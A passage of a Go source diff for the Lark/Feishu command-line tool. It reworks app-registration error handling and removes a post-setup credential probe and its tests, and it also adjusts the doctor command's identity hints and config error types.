return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
if appSecretInput != "" {
if err := runProbe(opts.Ctx, f, resolvedAppId, appSecretInput, parseBrand(resolvedBrand)); err != nil {
return err
}
}
return nil
}

View File

@@ -8,7 +8,7 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/core"
)
func TestGuardAgentWorkspace_LocalAllows(t *testing.T) {
@@ -26,15 +26,12 @@ func TestGuardAgentWorkspace_OpenClawRefuses(t *testing.T) {
if err == nil {
t.Fatal("expected refusal in OpenClaw context, got nil")
}
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
t.Fatalf("error type = %T, want *core.ConfigError", err)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured {
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
}
if !strings.Contains(cfgErr.Message, "openclaw") {
t.Errorf("message must name the openclaw workspace; got %q", cfgErr.Message)
if cfgErr.Type != "openclaw" {
t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
}
if !strings.Contains(cfgErr.Hint, "config bind --help") {
t.Errorf("hint must point to config bind --help; got %q", cfgErr.Hint)
@@ -51,15 +48,12 @@ func TestGuardAgentWorkspace_HermesRefuses(t *testing.T) {
if err == nil {
t.Fatal("expected refusal in Hermes context, got nil")
}
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
t.Fatalf("error type = %T, want *core.ConfigError", err)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured {
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
}
if !strings.Contains(cfgErr.Message, "hermes") {
t.Errorf("message must name the hermes workspace; got %q", cfgErr.Message)
if cfgErr.Type != "hermes" {
t.Errorf("type = %q, want %q", cfgErr.Type, "hermes")
}
}

View File

@@ -5,9 +5,7 @@ package config
import (
"context"
"errors"
"fmt"
"net"
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/internal/build"
@@ -182,9 +180,9 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
// Use the shared proxy-plugin-aware transport so registration traffic is not
// a bypass of proxy plugin mode.
httpClient := transport.NewHTTPClient(0)
authResp, err := larkauth.RequestAppRegistration(ctx, httpClient, larkBrand, f.IOStreams.ErrOut)
authResp, err := larkauth.RequestAppRegistration(httpClient, larkBrand, f.IOStreams.ErrOut)
if err != nil {
return nil, classifyRegistrationBeginError(err)
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration failed: %v", err).WithCause(err)
}
// Step 2: Build and display verification URL + QR code
@@ -210,17 +208,33 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", verificationURL)
fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.WaitingForScanNonTTY)
}
// Step 4: Poll for credentials (brand discovery lives in internal/auth);
// this layer only classifies the terminal error and saves the result.
result, finalBrand, err := larkauth.RegisterAppWithDiscovery(ctx, httpClient, authResp, f.IOStreams.ErrOut)
result, err := larkauth.PollAppRegistration(ctx, httpClient, core.BrandFeishu, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
if err != nil {
return nil, classifyRegistrationError(err)
return nil, errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).WithCause(err)
}
// Step 4: Handle Lark brand special case
// If tenant_brand=lark and no client_secret, retry with lark brand endpoint
if result.ClientSecret == "" && result.UserInfo != nil && result.UserInfo.TenantBrand == "lark" {
// fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.DetectedLarkTenant)
result, err = larkauth.PollAppRegistration(ctx, httpClient, core.BrandLark, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "lark endpoint retry failed: %v", err).WithCause(err)
}
}
if result.ClientID == "" || result.ClientSecret == "" {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration succeeded but missing client_id or client_secret")
}
// Determine final brand from response
finalBrand := larkBrand
if result.UserInfo != nil && result.UserInfo.TenantBrand == "lark" {
finalBrand = core.BrandLark
} else if result.UserInfo != nil && result.UserInfo.TenantBrand == "feishu" {
finalBrand = core.BrandFeishu
}
fmt.Fprintln(f.IOStreams.ErrOut)
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.AppCreated, result.ClientID))
@@ -231,40 +245,3 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
AppSecret: result.ClientSecret,
}, nil
}
// classifyRegistrationBeginError keeps transport/cancellation failures out of
// the invalid-client category: the begin request sends no app credentials.
func classifyRegistrationBeginError(err error) error {
switch {
case errors.Is(err, context.Canceled):
return errs.NewAuthenticationError(errs.SubtypeUnknown, "app registration cancelled").WithCause(err)
case errors.Is(err, context.DeadlineExceeded):
return errs.NewNetworkError(errs.SubtypeNetworkTimeout, "app registration begin timed out: %v", err).WithCause(err)
}
var netErr net.Error
if errors.As(err, &netErr) {
subtype := errs.SubtypeNetworkTransport
if netErr.Timeout() {
subtype = errs.SubtypeNetworkTimeout
}
return errs.NewNetworkError(subtype, "app registration begin failed: %v", err).WithCause(err)
}
return errs.NewAPIError(errs.SubtypeUnknown, "app registration begin failed: %v", err).WithCause(err)
}
// classifyRegistrationError maps registration terminal outcomes to typed
// errors, preserving causes.
func classifyRegistrationError(err error) error {
switch {
case errors.Is(err, larkauth.ErrRegistrationDenied):
return errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).
WithHint("re-run `lark-cli config init --new` and approve the authorization request").
WithCause(err)
case errors.Is(err, larkauth.ErrRegistrationExpired), errors.Is(err, larkauth.ErrRegistrationTimedOut):
return errs.NewAuthenticationError(errs.SubtypeTokenExpired, "%v", err).
WithHint("re-run `lark-cli config init --new` and complete the scan before the code expires").
WithCause(err)
default:
return errs.NewAuthenticationError(errs.SubtypeUnknown, "app registration failed: %v", err).WithCause(err)
}
}

View File

@@ -1,70 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"context"
"errors"
"net"
"testing"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
)
func assertRegistrationProblem(t *testing.T, got, cause error, category errs.Category, subtype errs.Subtype) *errs.Problem {
t.Helper()
p, ok := errs.ProblemOf(got)
if !ok {
t.Fatalf("error %T is not typed: %v", got, got)
}
if p.Category != category || p.Subtype != subtype {
t.Errorf("problem = (%q, %q), want (%q, %q)", p.Category, p.Subtype, category, subtype)
}
if !errors.Is(got, cause) {
t.Errorf("error %v does not preserve cause %v", got, cause)
}
return p
}
func TestClassifyRegistrationBeginError(t *testing.T) {
tests := []struct {
name string
err error
category errs.Category
subtype errs.Subtype
}{
{"cancelled", context.Canceled, errs.CategoryAuthentication, errs.SubtypeUnknown},
{"deadline", context.DeadlineExceeded, errs.CategoryNetwork, errs.SubtypeNetworkTimeout},
{"transport", &net.DNSError{Err: "lookup failed", Name: "accounts.example"}, errs.CategoryNetwork, errs.SubtypeNetworkTransport},
{"response", errors.New("response not JSON"), errs.CategoryAPI, errs.SubtypeUnknown},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
assertRegistrationProblem(t, classifyRegistrationBeginError(tt.err), tt.err, tt.category, tt.subtype)
})
}
}
func TestClassifyRegistrationError(t *testing.T) {
tests := []struct {
name string
err error
subtype errs.Subtype
hint bool
}{
{"denied", larkauth.ErrRegistrationDenied, errs.SubtypeUnknown, true},
{"expired", larkauth.ErrRegistrationExpired, errs.SubtypeTokenExpired, true},
{"timed-out", larkauth.ErrRegistrationTimedOut, errs.SubtypeTokenExpired, true},
{"cancelled", context.Canceled, errs.SubtypeUnknown, false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
p := assertRegistrationProblem(t, classifyRegistrationError(tt.err), tt.err, errs.CategoryAuthentication, tt.subtype)
if (p.Hint != "") != tt.hint {
t.Errorf("hint = %q, want non-empty=%v", p.Hint, tt.hint)
}
})
}
}

View File

@@ -4,14 +4,10 @@
package config
import (
"errors"
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/output"
)
type initMsg struct {
@@ -101,12 +97,3 @@ func promptLangSelection() (i18n.Lang, error) {
}
return lang, nil
}
// langSelectionError maps a promptLangSelection failure to its exit surface:
// user abort exits bare with code 1; any other failure is internal.
func langSelectionError(err error) error {
if errors.Is(err, huh.ErrUserAborted) {
return output.ErrBare(1)
}
return errs.NewInternalError(errs.SubtypeUnknown, "language selection failed: %v", err).WithCause(err)
}

View File

@@ -1,92 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"bytes"
"context"
"fmt"
"io"
"net/http"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
// probeTimeout is the total wall-clock budget for the credential probe step
// (covering both TAT acquisition and the subsequent probe request).
const probeTimeout = 3 * time.Second
// runProbe runs a best-effort credential validation after config init has
// persisted the App ID and App Secret. It returns a non-nil error only for a
// deterministic credential-rejection signal; every other outcome returns nil
// so that valid configurations and transient/upstream noise never block the
// command.
//
// The function performs up to two HTTP calls in series, bounded by
// probeTimeout:
//
// 1. A TAT request using the just-saved credentials. credential.FetchTAT
// returns a typed errs.* error (via the shared classifyTATResponseCode)
// only when the unified Token Endpoint deterministically rejected the
// credentials — an OAuth2 invalid_client / unauthorized_client classified as
// CategoryConfig / SubtypeInvalidClient, or whatever codemeta maps. That
// typed error is propagated so the root dispatcher renders the canonical
// envelope and `config init` exits non-zero — identical to how every other
// token-resolving command reports the same bad credentials. Ambiguous
// failures (transport errors, transient 5xx/server_error, JSON parse errors,
// timeouts) come back as raw untyped errors and are swallowed (return nil),
// so valid configurations are never disturbed by upstream noise.
// errs.IsTyped is the discriminator.
//
// 2. If TAT succeeded, a POST to the probe endpoint is fired. The outcome of
// that call (success, server error, timeout, parse failure) is always
// ignored — return nil regardless.
func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret string, brand core.LarkBrand) error {
if factory == nil {
return nil
}
httpClient, err := factory.HttpClient()
if err != nil {
return nil
}
ctx, cancel := context.WithTimeout(parent, probeTimeout)
defer cancel()
token, err := credential.FetchTAT(ctx, httpClient, brand, appID, appSecret)
if err != nil {
// A typed error from FetchTAT is a deterministic credential rejection
// (classifyTATResponseCode). Propagate it so config init exits with the
// same envelope the rest of the CLI uses for bad credentials. Untyped
// errors are ambiguous (transport / HTTP / parse / timeout) — stay
// silent and let the command succeed.
if errs.IsTyped(err) {
return err
}
return nil
}
// TAT succeeded — fire the probe call. Any outcome is ignored.
url := core.ResolveEndpoints(brand).Open + "/open-apis/application/v6/larksuite_cli_app/probe"
body := []byte(fmt.Sprintf(`{"from":"lark-cli/%s"}`, build.Version))
req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body))
if err != nil {
return nil
}
req.Header.Set("Authorization", "Bearer "+token)
req.Header.Set("Content-Type", "application/json")
resp, err := httpClient.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
_, _ = io.Copy(io.Discard, resp.Body)
return nil
}

View File

@@ -1,287 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"bytes"
"context"
"errors"
"io"
"net/http"
"strings"
"testing"
"time"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// fakeRT routes requests to per-path handlers and records what it saw.
type fakeRT struct {
tatHandler func(req *http.Request) (*http.Response, error)
probeHandler func(req *http.Request) (*http.Response, error)
tatCalls int
probeCalls int
probeReq *http.Request
probeBody string
}
func (f *fakeRT) RoundTrip(req *http.Request) (*http.Response, error) {
switch {
case strings.HasSuffix(req.URL.Path, "/oauth/v3/token"):
f.tatCalls++
if f.tatHandler == nil {
return jsonResp(200, `{"code":0,"access_token":"t-ok","token_type":"Bearer"}`), nil
}
return f.tatHandler(req)
case strings.HasSuffix(req.URL.Path, "/application/v6/larksuite_cli_app/probe"):
f.probeCalls++
f.probeReq = req
if req.Body != nil {
b, _ := io.ReadAll(req.Body)
f.probeBody = string(b)
}
if f.probeHandler == nil {
return jsonResp(200, `{"code":0,"data":{},"msg":"success"}`), nil
}
return f.probeHandler(req)
}
return nil, errors.New("unexpected URL: " + req.URL.String())
}
func jsonResp(code int, body string) *http.Response {
return &http.Response{
StatusCode: code,
Body: io.NopCloser(strings.NewReader(body)),
Header: make(http.Header),
}
}
// fakeFactory builds a test Factory whose HttpClient is overridden to use
// the caller-supplied RoundTripper.
//
// Wired through cmdutil.TestFactory(t, nil) so the canonical IOStreams,
// Credential, Keychain and FileIO wiring is in place (per repo test-factory
// guidance). The HttpClient is then swapped to our stub so we can drive
// exact HTTP responses for the probe. Config-dir isolation is set up via
// t.Setenv(LARKSUITE_CLI_CONFIG_DIR, t.TempDir()) so any incidental config
// touch lands in a temp dir rather than the developer's real config.
//
// The returned buffer is the Factory's stderr. runProbe never writes to
// stderr (it propagates a typed error or stays silent), so every test asserts
// this buffer stays empty as an invariant.
func fakeFactory(t *testing.T, rt http.RoundTripper) (*cmdutil.Factory, *bytes.Buffer) {
t.Helper()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
f.HttpClient = func() (*http.Client, error) {
return &http.Client{Transport: rt}, nil
}
return f, errBuf
}
// assertConfigRejection asserts runProbe propagated a deterministic credential
// rejection: a *errs.ConfigError (CategoryConfig / SubtypeInvalidClient). This
// is the same typed error every other token-resolving command returns for the
// same bad credentials, and nothing is written to stderr (the root dispatcher
// renders the envelope). The numeric code is not asserted: the unified v3 Token
// Endpoint reports invalid_client via the OAuth2 error string, not a Lark code.
func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer) {
t.Helper()
if err == nil {
t.Fatal("expected *errs.ConfigError, got nil")
}
var cfgErr *errs.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("expected *errs.ConfigError, got %T: %v", err, err)
}
if cfgErr.Category != errs.CategoryConfig {
t.Errorf("Category = %q, want %q", cfgErr.Category, errs.CategoryConfig)
}
if cfgErr.Subtype != errs.SubtypeInvalidClient {
t.Errorf("Subtype = %q, want %q", cfgErr.Subtype, errs.SubtypeInvalidClient)
}
if errBuf.Len() != 0 {
t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
}
}
// assertSilent asserts runProbe stayed quiet: no propagated error and nothing
// written to stderr. Used for every ambiguous (non-credential) outcome.
func assertSilent(t *testing.T, err error, errBuf *bytes.Buffer) {
t.Helper()
if err != nil {
t.Errorf("expected nil (silent), got error: %v", err)
}
if errBuf.Len() != 0 {
t.Errorf("expected no stderr output, got: %q", errBuf.String())
}
}
// invalid_client (bad / non-existent app_id or wrong secret) → the v3 Token
// Endpoint returns HTTP 400 with the OAuth2 error → ConfigError/InvalidClient,
// propagated. The probe endpoint must not be called when TAT fails.
func TestRunProbe_TATInvalidClient_ReturnsConfigError(t *testing.T) {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
return jsonResp(400, `{"error":"invalid_client","error_description":"The client secret is invalid.","code":20002}`), nil
},
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.probeCalls != 0 {
t.Error("probe endpoint must not be called when TAT fails")
}
assertConfigRejection(t, err, errBuf)
}
// unauthorized_client is treated as the same credential rejection, propagated.
func TestRunProbe_TATUnauthorizedClient_ReturnsConfigError(t *testing.T) {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
return jsonResp(401, `{"error":"unauthorized_client","error_description":"client not authorized"}`), nil
},
}
f, errBuf := fakeFactory(t, rt)
assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
// Any other deterministic client-side OAuth error (e.g. invalid_scope) falls
// back to *errs.APIError via BuildAPIError — still typed, so the probe surfaces
// it rather than swallowing — but is not a credential (ConfigError) rejection.
func TestRunProbe_TATOtherClientError_Propagates(t *testing.T) {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
return jsonResp(400, `{"code":20068,"error":"invalid_scope","error_description":"unauthorized scope"}`), nil
},
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if err == nil || !errs.IsTyped(err) {
t.Fatalf("expected a propagated typed error, got %T: %v", err, err)
}
if errBuf.Len() != 0 {
t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
}
}
// Non-200 HTTP at the TAT endpoint is ambiguous (not a payload credential
// rejection) → silent, exit 0.
func TestRunProbe_TATHTTPNon200_Silent(t *testing.T) {
for _, code := range []int{401, 403, 500} {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
return jsonResp(code, `nope`), nil
},
}
f, errBuf := fakeFactory(t, rt)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
}
func TestRunProbe_TATTransportError_Silent(t *testing.T) {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
return nil, errors.New("network down")
},
}
f, errBuf := fakeFactory(t, rt)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
rt := &fakeRT{
probeHandler: func(req *http.Request) (*http.Response, error) {
return jsonResp(500, `server error`), nil
},
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.probeCalls != 1 {
t.Errorf("probe should be called once, got %d", rt.probeCalls)
}
assertSilent(t, err, errBuf)
}
func TestRunProbe_TATSuccess_ProbeOK_Silent(t *testing.T) {
rt := &fakeRT{}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.tatCalls != 1 || rt.probeCalls != 1 {
t.Errorf("expected 1/1 calls, got tat=%d probe=%d", rt.tatCalls, rt.probeCalls)
}
assertSilent(t, err, errBuf)
}
func TestRunProbe_ProbeRequestShape(t *testing.T) {
rt := &fakeRT{}
f, _ := fakeFactory(t, rt)
if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if rt.probeReq == nil {
t.Fatal("probe request not captured")
}
if rt.probeReq.Method != http.MethodPost {
t.Errorf("probe method = %s, want POST", rt.probeReq.Method)
}
if got := rt.probeReq.URL.String(); got != "https://open.feishu.cn/open-apis/application/v6/larksuite_cli_app/probe" {
t.Errorf("probe URL = %s", got)
}
if got := rt.probeReq.Header.Get("Authorization"); got != "Bearer t-ok" {
t.Errorf("Authorization = %q, want Bearer t-ok", got)
}
if !strings.Contains(rt.probeBody, `"from":"lark-cli/`+build.Version+`"`) {
t.Errorf("probe body missing from field: %s", rt.probeBody)
}
}
func TestRunProbe_LarkBrand_HostRoutedCorrectly(t *testing.T) {
rt := &fakeRT{}
f, _ := fakeFactory(t, rt)
if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandLark); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if rt.probeReq == nil {
t.Fatal("probe request not captured")
}
if !strings.Contains(rt.probeReq.URL.Host, "larksuite.com") {
t.Errorf("probe host = %s, want larksuite.com", rt.probeReq.URL.Host)
}
}
func TestRunProbe_HTTPClientError_Silent(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
f.HttpClient = func() (*http.Client, error) {
return nil, errors.New("client init failed")
}
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
func TestRunProbe_TimeoutHonored(t *testing.T) {
rt := &fakeRT{
tatHandler: func(req *http.Request) (*http.Response, error) {
<-req.Context().Done()
return nil, req.Context().Err()
},
}
f, errBuf := fakeFactory(t, rt)
start := time.Now()
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
elapsed := time.Since(start)
if elapsed > 4*time.Second {
t.Errorf("runProbe took %v, expected <= ~3s", elapsed)
}
// A timeout is an ambiguous failure (context deadline → untyped), so it
// must stay silent and not block.
assertSilent(t, err, errBuf)
}

View File

@@ -65,8 +65,8 @@ func TestUpdateExistingProfileWithoutSecret_AppIdMismatch_EmitsValidationError(t
// wrapUpdateExistingProfileErr is the caller-side classifier for the error
// returned by updateExistingProfileWithoutSecret. It must preserve typed-error
// exit semantics: a typed ValidationError must keep ExitValidation rather than
// being downgraded to InternalError.
// exit semantics (regression: typed ValidationError was being downgraded to
// InternalError by the legacy *output.ExitError-only passthrough).
func TestWrapUpdateExistingProfileErr_NilPassesThrough(t *testing.T) {
if got := wrapUpdateExistingProfileErr(nil); got != nil {
@@ -90,6 +90,18 @@ func TestWrapUpdateExistingProfileErr_TypedValidationErrorPreserved(t *testing.T
}
}
func TestWrapUpdateExistingProfileErr_LegacyExitErrorPreserved(t *testing.T) {
in := &output.ExitError{Code: 7, Err: errors.New("legacy")}
got := wrapUpdateExistingProfileErr(in)
var exitErr *output.ExitError
if !errors.As(got, &exitErr) {
t.Fatalf("expected *output.ExitError to pass through, got %T: %v", got, got)
}
if exitErr.Code != 7 {
t.Errorf("Code = %d, want 7", exitErr.Code)
}
}
func TestWrapUpdateExistingProfileErr_UntypedErrorBecomesInternal(t *testing.T) {
in := fmt.Errorf("disk full")
got := wrapUpdateExistingProfileErr(in)

View File

@@ -14,7 +14,6 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -95,7 +94,7 @@ func doctorRun(opts *DoctorOptions) error {
// underlying problem is still visible.
msg, hint := err.Error(), ""
if errors.Is(err, os.ErrNotExist) {
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if errors.As(core.NotConfiguredError(), &cfgErr) {
msg, hint = cfgErr.Message, cfgErr.Hint
}
@@ -109,7 +108,7 @@ func doctorRun(opts *DoctorOptions) error {
cfg, err := f.Config()
if err != nil {
hint := ""
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if errors.As(err, &cfgErr) {
hint = cfgErr.Hint
}
@@ -129,10 +128,7 @@ func doctorRun(opts *DoctorOptions) error {
if diagnostics.Bot.Available || diagnostics.User.Available {
checks = append(checks, pass("identity_ready", "at least one identity is available"))
} else {
// No hint: this only summarizes the two checks above, which already carry
// the source-appropriate remediation. A command here would be redundant,
// or wrong (`auth status` is blocked under an external provider).
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
}
// ── 4 & 5. Endpoint reachability ──

View File

@@ -4,19 +4,14 @@
package doctor
import (
"bytes"
"context"
"encoding/json"
"net/http"
"strings"
"testing"
"github.com/spf13/cobra"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
@@ -145,84 +140,14 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
}
func assertCheck(t *testing.T, checks []checkResult, name, status string) {
t.Helper()
if got := findCheck(t, checks, name); got.Status != status {
t.Fatalf("%s status = %q, want %q", name, got.Status, status)
}
}
func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
t.Helper()
for _, check := range checks {
if check.Name == name {
return check
if check.Status != status {
t.Fatalf("%s status = %q, want %q", name, check.Status, status)
}
return
}
}
t.Fatalf("check %q not found in %#v", name, checks)
return checkResult{}
}
type fakeExtProvider struct {
name string
account *extcred.Account
}
func (p *fakeExtProvider) Name() string { return p.name }
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
return p.account, nil
}
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
return nil, nil
}
// Under an external credential provider with no usable identity, the
// identity_ready hint must not point at `auth status` (blocked there); the
// per-identity checks already carry the source-appropriate escalation.
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
// Provider serves neither identity: bot unsupported, user supported but not
// signed in → both unavailable → identity_ready fails.
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
cred := credential.NewCredentialProvider(
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
nil, nil,
func() (*http.Client, error) { return nil, nil },
)
out := &bytes.Buffer{}
f := &cmdutil.Factory{
Config: func() (*core.CliConfig, error) { return cfg, nil },
Credential: cred,
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
}
if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
t.Fatalf("doctorRun() = nil, want failure when no identity is available")
}
var got struct {
Checks []checkResult `json:"checks"`
}
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
}
ready := findCheck(t, got.Checks, "identity_ready")
if ready.Status != "fail" {
t.Fatalf("identity_ready status = %q, want fail", ready.Status)
}
// The summary defers to the per-identity checks; it carries no hint of its
// own (a command here would be wrong under an external provider).
if ready.Hint != "" {
t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
}
user := findCheck(t, got.Checks, "user_identity")
if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
}
}

View File

@@ -11,10 +11,10 @@ import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/apicatalog"
internalauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/registry"
"github.com/larksuite/cli/shortcuts"
shortcutcommon "github.com/larksuite/cli/shortcuts/common"
@@ -48,6 +48,32 @@ func applyNeedAuthorizationHint(f *cmdutil.Factory, err error) {
authErr.Hint += "\n" + scopeHint
}
// enrichMissingScopeError appends a "current command requires scope(s): X"
// hint to a legacy *output.ExitError when the underlying error carries the
// need_user_authorization marker AND the current command declares scopes
// locally.
//
// Deprecated: enrichment for the legacy envelope; the typed path is
// applyNeedAuthorizationHint above.
func enrichMissingScopeError(f *cmdutil.Factory, exitErr *output.ExitError) {
if exitErr == nil || exitErr.Detail == nil {
return
}
if !internalauth.IsNeedUserAuthorizationError(exitErr) {
return
}
scopes := resolveDeclaredScopesForCurrentCommand(f)
if len(scopes) == 0 {
return
}
scopeHint := fmt.Sprintf("current command requires scope(s): %s", strings.Join(scopes, ", "))
if exitErr.Detail.Hint == "" {
exitErr.Detail.Hint = scopeHint
return
}
exitErr.Detail.Hint += "\n" + scopeHint
}
// resolveDeclaredScopesForCurrentCommand returns the scopes declared by the
// current command for the resolved identity, checking shortcuts first and then
// service methods from local registry metadata.
@@ -92,37 +118,38 @@ func resolveDeclaredShortcutScopes(cmd *cobra.Command, identity string) []string
}
// resolveDeclaredServiceMethodScopes returns the scopes declared by a
// service/resource/method command. It reconstructs the catalog path from the
// command ancestry and resolves it through the same navigation Module the
// command tree is built from (apicatalog), so it stays correct for nested
// resources instead of hard-coding a root->service->resource->method depth.
// Non-method commands (services, resources, shortcuts) resolve to a non-method
// target and yield no scopes.
// service/resource/method command from the embedded from_meta registry.
func resolveDeclaredServiceMethodScopes(cmd *cobra.Command, identity string) []string {
if cmd == nil || strings.HasPrefix(cmd.Name(), "+") {
// Service-method scope lookup only applies to commands mounted as
// root -> service -> resource -> method. Non-resource/method commands
// intentionally return no scopes here so auth-hint enrichment does not
// change runtime semantics for other command shapes.
if cmd == nil || cmd.Parent() == nil || cmd.Parent().Parent() == nil || cmd.Parent().Parent().Parent() == nil {
return nil
}
path := commandCatalogPath(cmd)
if len(path) == 0 {
if strings.HasPrefix(cmd.Name(), "+") {
return nil
}
target, err := registry.RuntimeCatalog().Resolve(path)
if err != nil || target.Kind != apicatalog.TargetMethod {
return nil
}
